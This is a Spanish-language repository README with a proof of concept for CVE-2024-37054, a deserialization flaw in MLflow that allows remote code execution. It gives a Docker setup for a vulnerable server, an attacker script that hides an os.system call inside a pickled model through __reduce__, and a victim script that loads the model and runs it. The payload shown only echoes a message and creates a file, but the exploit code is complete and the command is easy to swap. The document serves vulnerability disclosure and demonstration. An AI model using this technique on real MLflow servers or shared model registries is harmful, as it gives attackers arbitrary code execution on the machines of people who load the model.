niteeshpujari/cve-2024-37054-mlflow-rceNiteeshPujari/CVE-2024-37054, Este repositorio contiene una prueba de concepto (PoC) de una vulnerabilidad crítica de deserialización en MLflow que permite la ejecución remota de código (RCE).
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
Este repositorio contiene una prueba de concepto (PoC) para CVE-2024-37054, una vulnerabilidad crítica de deserialización en MLflow que permite la ejecución remota de código (RCE).
CVE-2024-37054mlflow.pyfunc.load_model. Un atacante puede crear un modelo malicioso que contenga una carga útil (payload) serializada con pickle. Cuando una víctima carga este modelo, la carga útil se deserializa mediante cloudpickle.load, lo que permite la ejecución de código arbitrario en la máquina de la víctima.0.9.0 hasta, sin incluir, 2.14.2._load_pyfunc dentro de mlflow/pyfunc/model.py.Esta PoC simula dos roles: un atacante que sube un modelo malicioso y una víctima que lo carga, desencadenando el RCE.
La forma más sencilla de configurar un servidor MLflow vulnerable es utilizando el Dockerfile proporcionado.
Compilar y ejecutar el contenedor Docker:
# 1. Build the Docker image
docker build -t mlflow-vulnerable .
# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
Tu servidor MLflow vulnerable ahora se está ejecutando en http://127.0.0.1:5000.
Necesitarás dos terminales separadas en tu máquina host. Asegúrate de tener una versión vulnerable de mlflow instalada localmente (pip install mlflow==2.14.1) para ejecutar los scripts de cliente.
En tu primera terminal, ejecuta el script del atacante para registrar el modelo malicioso.
# poc/log_malicious_model.py
import mlflow
import os
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
Ejecútalo:
python poc/log_malicious_model.py
En tu segunda terminal, ejecuta el script de la víctima para simular la carga del modelo comprometido.
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
Ejecútalo:
python poc/load_vulnerable_model.py
Después de ejecutar el script de la víctima, verás el mensaje /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found en la terminal, y se creará un nuevo archivo llamado pwned.txt en tu directorio. Esto confirma la ejecución exitosa del comando.
Esta prueba de concepto fue desarrollada por Pujari Niteesh.